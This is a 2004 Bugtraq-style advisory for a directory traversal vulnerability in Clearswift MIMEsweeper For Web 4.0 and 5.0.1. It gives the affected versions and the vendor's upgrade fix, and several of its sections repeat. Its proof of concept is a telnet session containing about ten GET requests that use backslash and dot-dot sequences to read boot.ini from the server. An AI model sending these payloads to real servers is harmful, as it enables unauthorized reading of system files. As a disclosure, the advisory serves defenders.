Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
BID:10918
Info
Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
| Bugtraq ID: | 10918 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 11 2004 12:00AM |
| Updated: | Aug 11 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Kroma Pierre <[email protected]> |
| Vulnerable: |
Clearswift MIMEsweeper For Web 5.0.1 Clearswift MIMEsweeper For Web 4.0 |
| Not Vulnerable: |
Clearswift MIMEsweeper For Web 5.0.5 Clearswift MIMEsweeper For Web 5.0.4 |
Discussion
Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
Clearswift MIMEsweeper For Web is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data.
To carry out an attack an attacker may specify a relative path to a target file in a GET request to the vulnerable server, directory traversal character sequences may be supplied as a part of the request to escape the web root.
Clearswift MIMEsweeper For Web is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data.
To carry out an attack an attacker may specify a relative path to a target file in a GET request to the vulnerable server, directory traversal character sequences may be supplied as a part of the request to escape the web root.
Exploit / POC
Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
The following proof of concept is available:
telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /ca/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0
The following proof of concept is available:
telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /ca/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0
Solution / Fix
Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
Solution:
The vendor has advised that customers upgrade to MIMEsweeper for Web version 5.0.5:
Clearswift MIMEsweeper For Web 5.0.1
Solution:
The vendor has advised that customers upgrade to MIMEsweeper for Web version 5.0.5:
Clearswift MIMEsweeper For Web 5.0.1
-
Clearswift MIMEsweeper for Web 5.0.5
http://www.clearswift.com/support/msw/patch_MswWeb.aspx
References
Clearswift MIMEsweeper For Web Directory Traversal Vulnerability
References:
References:
- Home Page (Clearswift)
- Clearswift Mimesweeper Path Traversal Vulnerability (Kroma Pierre
- Re: Clearswift Mimesweeper Path Traversal Vulnerability (Pete Simpson